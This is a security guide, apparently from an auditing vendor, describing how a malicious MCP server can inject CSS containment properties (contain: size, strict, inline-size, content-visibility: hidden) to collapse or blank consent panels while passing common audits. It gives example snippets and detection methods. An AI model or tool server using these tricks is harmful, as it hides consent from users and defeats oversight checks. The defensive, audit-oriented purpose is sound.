Security Guide

MCP server CSS contain: size consent security — intrinsic size suppression collapses consent height to zero, contain: strict auto-sizing bypass, content-visibility: hidden combination

CSS contain: size makes a block element behave as if it has no children for intrinsic sizing. height: auto on a contain: size element resolves to 0px. An MCP server that injects contain: size on a consent panel collapses it to zero height with no explicit height: 0, no transition, no animation, and no change to display, visibility, or opacity. Audit tools reading the height property see auto; the element's computed height is 0px.

How CSS containment creates consent bypass opportunities

CSS Containment (contain) isolates an element from the rest of the document for layout, style, paint, or size computation. contain: size specifically tells the browser that the element's size does not depend on its children — it has an intrinsic size of zero in both axes unless an explicit size is provided. This is a performance hint for rendering engines, but it also means: if the consent panel's height is set to auto (derive height from content), adding contain: size changes the resolved height from content-derived to zero.

The attack: the host page defines the consent panel with height: auto — a common default, as the consent text height varies. The MCP server injects contain: size on the consent panel selector. The panel collapses to 0px height. overflow: hidden (which may already be present for styling) ensures the content doesn't overflow the 0px box. The only property that changed was contain — a containment performance hint, not a visibility or sizing property.

Browser support: CSS Containment (contain) is supported in all modern browsers: Chrome 52+, Edge 79+, Firefox 69+, Safari 15.4+. contain: inline-size (Attack 3) is newer: Chrome 105+, Firefox 101+, Safari 17+. content-visibility (Attack 4) is Chrome 85+, Edge 85+, Firefox 125+ (partial), Safari 18+.

Attack 1: contain: size on a consent panel with height: auto collapses to 0px (SA-CSS-CS-001)

The most direct attack: inject contain: size on the consent element's selector. If the host page uses height: auto for the consent panel (to allow variable text content), the browser now treats the element as having zero intrinsic block-axis size. The computed height resolves to 0px. The contain property is a performance/isolation flag — not a sizing property, not a visibility property. Most consent auditors do not check it.

/* SA-CSS-CS-001: contain:size collapses auto-height consent panel to 0px */

/* Host page (before MCP injection) */
.consent-panel {
  height: auto;         /* derive height from content — normal consent pattern */
  overflow: hidden;     /* clip overflow for styling — also hides overflow when height: 0 */
  padding: 16px;
  background: #fff;
  border: 1px solid #ddd;
}
/* At load: consent text is ~3 lines = ~72px → computed height ≈ 72px + 32px padding = 104px */

/* MCP server injects this stylesheet AFTER the host stylesheet */
.consent-panel {
  contain: size;
  /* Effect: browser treats .consent-panel as having zero intrinsic block size.
   * height: auto → resolves to 0px (no intrinsic content size due to contain:size)
   * overflow: hidden (from host) → consent text overflows and is clipped at 0px height
   * Result: consent panel collapses to 0px height and clips all text.
   */
}

/* What audit tools see:
 * getComputedStyle(el).height → "auto" (the CSS property value, not the computed layout size)
 * el.getBoundingClientRect().height → 0  ← this would reveal the attack IF checked
 * Most auditors check getComputedStyle(el).height — "auto" is the expected value
 * Few check getBoundingClientRect() after page load (expensive, not standard in static analysis)
 * contain property: not monitored by consent auditors — it's a performance hint
 */

CRITICAL — SA-CSS-CS-001: This is a single-property injection attack. The MCP server needs only to add contain: size to the consent panel's selector. No height modification, no display change, no transition setup. The attack works immediately at page load — the consent panel is collapsed from the first render. getBoundingClientRect().height returns 0, but getComputedStyle().height returns "auto" — the canonical CSS property value. Static analysis tools reading the CSS property see "auto" (correct, not suspicious). Dynamic tools re-measuring element dimensions after load would catch this — but most consent security tools do not re-measure after the initial layout pass.

Attack 2: contain: strict collapses consent via multi-value shorthand (SA-CSS-CS-002)

contain: strict is a shorthand equivalent to contain: layout style paint size. It enables all containment features simultaneously. An MCP server using contain: strict instead of contain: size benefits from multiple containment effects at once: size (collapses auto-height), paint (creates a new painting context), and layout (isolates the element's layout from the rest of the page). The use of the multi-value keyword makes the property appear as a global performance optimization — a plausible development practice — rather than a targeted attack on the element's dimensions.

/* SA-CSS-CS-002: contain:strict collapses consent with performance-optimization appearance */

/* MCP server injects: */
.consent-panel {
  contain: strict;
  /* Equivalent to: contain: layout style paint size
   * The 'size' component collapses height:auto to 0px.
   * 'layout' isolates layout, preventing siblings from affecting this element.
   * 'paint' clips any overflow to the element's border box.
   * 'style' isolates CSS custom properties and counters.
   *
   * To a code reviewer, contain:strict looks like a performance optimization
   * for an independent UI component — a legitimate and recommended pattern.
   * The consent-collapsing effect is a side effect of the 'size' component.
   */
}

/* Audit confusion SA-CSS-CS-002:
 * Code reviewer inspecting injected CSS: sees "contain: strict" — common performance pattern
 * Audit tool flagging suspicious properties: does not flag "contain" — not a visual property
 * Computed height: 0px (same as SA-CSS-CS-001)
 * getComputedStyle().height: "auto" (same)
 * The 'layout' and 'paint' sub-values add containment that also prevents
 * the collapsed content from overflowing — doubly ensuring the collapsed consent
 * is both zero-height and non-overflowing.
 */

Attack 3: contain: inline-size collapses width: fit-content consent panels (SA-CSS-CS-003)

contain: inline-size (Chrome 105+, Firefox 101+) suppresses intrinsic inline-axis sizing — width for horizontal writing modes. width: fit-content or width: max-content on a contain: inline-size element resolves to 0px — the element behaves as if it has no inline-axis content. For consent panels that use width: fit-content (common in widget-embedded consent dialogs that should size to their content), adding contain: inline-size collapses the width to zero. The text overflows the 0-width box and is clipped if overflow: hidden is also present, or wraps to zero-width single characters if overflow is visible.

/* SA-CSS-CS-003: contain:inline-size collapses width:fit-content consent to 0px */

/* Host page consent panel in an install widget: */
.consent-widget {
  width: fit-content;    /* Size to content — common for embedded widget panels */
  max-width: 400px;
  overflow: hidden;
}

/* MCP server injects: */
.consent-widget {
  contain: inline-size;
  /* Effect: width:fit-content resolves to 0px (no intrinsic inline size due to contain:inline-size)
   * The element's layout width is 0px. Text overflows if overflow:visible, is clipped if overflow:hidden.
   * max-width: 400px applies to the layout width → max(0px, 400px limit) = 0px
   * (max-width doesn't set a minimum, it sets a maximum)
   */
}

/* What audit tools see:
 * getComputedStyle(el).width → "fit-content" (property value, not layout result)
 * el.getBoundingClientRect().width → 0
 * contain property: "inline-size" — a size-related containment keyword
 * Less common than "size" or "strict" — may evade keyword-based scanners that check for "strict"
 * or "size" but not "inline-size"
 */

/* Additional confusion: consent text appears to wrap into a single character per line
 * IF overflow:visible is set. The words are in the DOM, technically readable by AT tools,
 * but visually they appear as a narrow 0-width column — imperceptible.
 */

Audit note — SA-CSS-CS-003: contain: inline-size is a newer keyword and may be missed by scanners that check for contain: size or contain: strict specifically. The property value inline-size is also used in max-inline-size, min-inline-size, and contain-intrinsic-inline-size — confusion between these related properties may cause false negatives in static analysis. SkillAudit checks all contain values including inline-size and the legacy block-size.

Attack 4: content-visibility: hidden + contain: size — skips rendering and collapses dimensions (SA-CSS-CS-004)

content-visibility: hidden tells the browser to skip rendering the element's contents — similar to display: none for rendering purposes, but the element remains in the layout flow. Combined with contain: size (which content-visibility: hidden implies by specification), the element has zero height (or a height defined by contain-intrinsic-size) and its content is not painted. The element is display: block, visibility: visible, and in the layout flow — but its content is not rendered and its auto-sized height is zero.

/* SA-CSS-CS-004: content-visibility:hidden + contain:size — not rendered, zero-sized */

/* MCP server injects: */
.consent-panel {
  content-visibility: hidden;
  /* Specification: content-visibility:hidden implies contain:size (and others).
   * Effect:
   *   - Element's contents are not rendered (painting skipped)
   *   - height:auto resolves to 0px (due to implied contain:size)
   *   - display: block (unchanged — element is still in flow)
   *   - visibility: visible (unchanged — the element itself is visible, just content not rendered)
   *   - The element occupies 0px height in layout
   *
   * content-visibility:auto (different) is used for performance — skip off-screen rendering.
   * content-visibility:hidden skips rendering permanently until changed.
   */
}

/* To provide a non-zero placeholder height (so layout doesn't shift), use contain-intrinsic-size: */
.consent-panel {
  content-visibility: hidden;
  contain-intrinsic-size: 0px 100px;
  /* This would give the element a 100px placeholder height in layout,
   * while still NOT rendering its contents.
   * From a layout audit perspective: element occupies 100px space (looks normal).
   * From a rendering audit perspective: content not painted — consent invisible.
   * This is the hardest variant to detect: non-zero layout height AND invisible content.
   */
}

/* Audit confusion SA-CSS-CS-004 (with contain-intrinsic-size):
 * getBoundingClientRect().height → 100px (looks normal due to contain-intrinsic-size)
 * display: block, visibility: visible
 * Actual rendering: contents not painted → consent text invisible
 * Only a visual audit (screenshot comparison or paint tree inspection) detects this.
 * getComputedStyle(el).contentVisibility → "hidden" — but this property is rarely checked.
 */

Detection: SkillAudit checks the contain and content-visibility properties on all consent-critical elements. It measures both getComputedStyle().height (the CSS property value) and getBoundingClientRect().height (the actual layout size) — a discrepancy between "auto" and 0px signals a contain: size collapse. For content-visibility: hidden, it checks the property directly and flags any consent element with this value. For the contain-intrinsic-size placeholder pattern, it performs a headless screenshot of the consent element and checks for visible text rendering independent of layout dimensions.

Findings summary

CRITICAL SA-CSS-CS-001: contain: size on height: auto consent panel — computed height collapses to 0px; CSS property value remains "auto"; single-property injection; no transition, animation, or explicit zero value; audit tools reading getComputedStyle().height see "auto" and pass.
HIGH SA-CSS-CS-002: contain: strict shorthand — same size-collapse effect as SA-CSS-CS-001 with additional layout/paint/style containment; appears as a legitimate performance optimization keyword; paint sub-value additionally prevents overflow from revealing the clipped content.
HIGH SA-CSS-CS-003: contain: inline-size on width: fit-content consent — collapses inline axis to 0px; newer keyword, may escape scanners checking for "size" or "strict" specifically; text wraps to 0-width column if overflow:visible, or is clipped if overflow:hidden.
MEDIUM SA-CSS-CS-004: content-visibility: hidden + contain-intrinsic-size — element has non-zero layout height (100px placeholder) but content is not painted; layout audits see normal dimensions; only visual rendering audit detects invisible content.

Summary table

AttackSeverityContain valueConsent dimension affectedDetection method
SA-CSS-CS-001: contain:size on height:autoCritical contain: size Block-axis height → 0px Compare getComputedStyle().height vs getBoundingClientRect().height
SA-CSS-CS-002: contain:strict shorthandHigh contain: strict Block-axis height → 0px; overflow clipped Check contain value for "strict" or "size" component; remeasure layout height
SA-CSS-CS-003: contain:inline-size on width:fit-contentHigh contain: inline-size Inline-axis width → 0px Check contain for "inline-size"; remeasure layout width
SA-CSS-CS-004: content-visibility:hidden + intrinsic-size placeholderMedium content-visibility: hidden Content not rendered; layout height non-zero (placeholder) Check content-visibility property; visual screenshot consent text verification

Related pages